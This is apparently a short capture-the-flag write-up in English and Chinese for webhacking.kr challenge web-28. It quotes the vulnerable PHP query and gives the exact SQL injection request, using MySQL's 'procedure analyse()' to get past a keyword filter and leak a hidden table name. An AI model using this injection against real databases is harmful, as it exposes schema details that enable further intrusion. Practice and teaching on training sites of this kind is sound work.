Challenge
Discover the hidden table name through
procedure analyse().通过
procedure analyse()泄露隐藏表名。
https://webhacking.kr/challenge/web-28/Analysis
题目的相关 PHP 逻辑是:
if ($_GET['answer'] == $hidden_table) { solve(53);}
if (preg_match('/select|by/i', $_GET['val'])) { exit('no hack');}
$result = mysqli_fetch_array( mysqli_query( $db, "select a from $hidden_table where a={$_GET['val']}" ));echo $result[0];answer 需要等于隐藏表名,而 val 会进入查询。MySQL 的 procedure analyse() 可以从当前结果列的元数据输出 database.table.column。因此先用 val=1 procedure analyse() 观察输出,再从三段结果中取中间的 table 名。
Solution
发现表名的完整请求是:
https://webhacking.kr/challenge/web-28/?val=1%20procedure%20analyse()响应返回三段式的 database.table.column 结果:
<database>.<hidden-table>.<column>